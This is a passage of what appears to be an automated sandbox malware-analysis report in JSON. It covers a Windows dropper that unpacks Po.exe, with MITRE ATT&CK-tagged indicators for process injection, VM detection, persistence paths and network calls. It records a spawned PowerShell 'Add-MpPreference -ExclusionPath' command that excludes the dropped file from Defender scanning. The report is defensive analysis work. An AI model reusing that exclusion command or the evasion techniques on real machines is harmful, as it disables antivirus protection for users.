\"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read PEB structure (dword ptr fs:[00000030h]) (Offset: 124928)","origin":"Binary File","mitre_attack_id":"T1546.010","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\n \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\desktop.ini\" (Indicator: \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00005280.00000000.140497.00CB0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:5280:168:WilStaging_02\"\n \"SM0:5280:64:WilError_01\"\n \"Local\\SM0:5280:64:WilError_01\"\n \"SM0:5280:168:WilStaging_02\"\n \"Local\\SM0:7212:64:WilError_01\"\n \"SM0:7212:168:WilStaging_02\"\n \"Local\\SM0:7212:168:WilStaging_02\"\n \"SM0:7212:64:WilError_01\"\n \"mVjvCQSzha\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3f","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"PO.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133577593304012052.6620.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 72790000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"Po.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 6F6D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 6F6D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"Po.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 71490000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 72850000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 769B0000\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72A30000\n \"Po.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 769B0000\n \"Po.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72A30000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 769B0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72A30000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"Po.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 70AE0000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 70AE0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 747D0000\n \"Po.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 747D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 747D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" was detected as \"Zip\" and name: \"Archive\"\n \"PO.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"PO.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"PO.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"PO.exe\" was detected as \"Zip\" and name: \"Archive\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$41","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"PO.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" has an executable section named \".text\"\n \"PO.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" has an writable section named \".data\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" has an writable section named \".didat\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$42","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00007212-00000BC0-1215520122]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00007212-00000C41-19727614220]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"%TEMP%\\R\" [Source: 00000000-00007212-00000C41-19727614220]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"Po.exe\" (UID: 00000000-00007212) was launched with new environment variables: \"sfxcmd=\"\"C:\\22c44c550563220ca7ebfcfc28351b9f.exe\"\", sfxname=\"C:\\22c44c550563220ca7ebfcfc28351b9f.exe\", PROCESSOR_ARCHITEW6432=\"AMD64\", sfxstime=\"2024-04-16-09-41-35-948\"\"\n Process \"Po.exe\" (UID: 00000000-00007212) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.ip.sb\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$43","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" searching for class \"EDIT\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"Po.exe\" (UID: 00000000-00007212)\n Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%TEMP%\\\\RarSFX0\\\\Po.exe\"\" (UID: 00000000-00006620)\n Spawned process \"Po.exe\" (UID: 00000000-00009128)\n Spawned process \"Po.exe\" (UID: 00000000-00003388)\n Spawned process \"Po.exe\" (UID: 00000000-00007860)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"Po.exe\" (UID: 00000000-00007212)\n Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%TEMP%\\\\RarSFX0\\\\Po.exe\"\" (UID: 00000000-00006620)\n Spawned process \"Po.exe\" (UID: 00000000-00009128)\n Spawned process \"Po.exe\" (UID: 00000000-00003388)\n Spawned process \"Po.exe\" (UID: 00000000-00007860)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=Cloudflare Inc ECC CA-3, O=\"Cloudflare\n Inc.\", C=US\" (SHA1: 0B:47:9D:37:24:52:E6:87:5B:DA:5B:E4:25:08:D6:CD:98:EA:63:EB; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE\" (SHA1: B3:DD:76:06:D2:B5:A8:B4:A1:37:71:DB:EC:C9:EE:1C:EC:AF:A3:8A; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 254385)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"PO.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"$45","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"Po.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$47","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$48","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" queries basic process information of the \"C:\\22c44c550563220ca7ebfcfc28351b9f.exe\" (UID: 5280)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"Po.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007860)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" reads file \"c:\\22c44c550563220ca7ebfcfc28351b9f.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Found a reference to an external IP address lookup service\n Matched sigs: Tries to identify its external IP address\n Matched sigs: The input sample possibly contains the RDTSCP instruction","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" trying to touch file \"C:\\22C44C550563220CA7EBFCFC28351B9F.EXE.LOCAL\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" trying to touch file \"C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.16299.248_none_8e66fbc1026df8ab\\GdiPlus.dll\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ole32.dll\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\imm32.dll\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"Po.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"Po.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\rarsfx0\\po.jpg\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\rarsfx0\\po.exe\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" writes file \"\\device\\namedpipe\\srvsvc\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" writes file \"%temp%\\rarsfx0\\po.jpg\"\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" writes file \"%temp%\\rarsfx0\\po.exe\"\n \"Po.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\po.exe.log\"\n \"Po.exe\" writes file \"%localappdata%\\microsoft\\clr_v4.0_32\\usagelogs\\po.exe.log\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_fwshlgf5.dnp.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_no5bumeb.2p2.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"Po.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\Po.exe.log\"\n \"Po.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\Po.exe.log\"\n \"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007212.00000000.140864.713A1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007860-00000C26-1219943219\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: 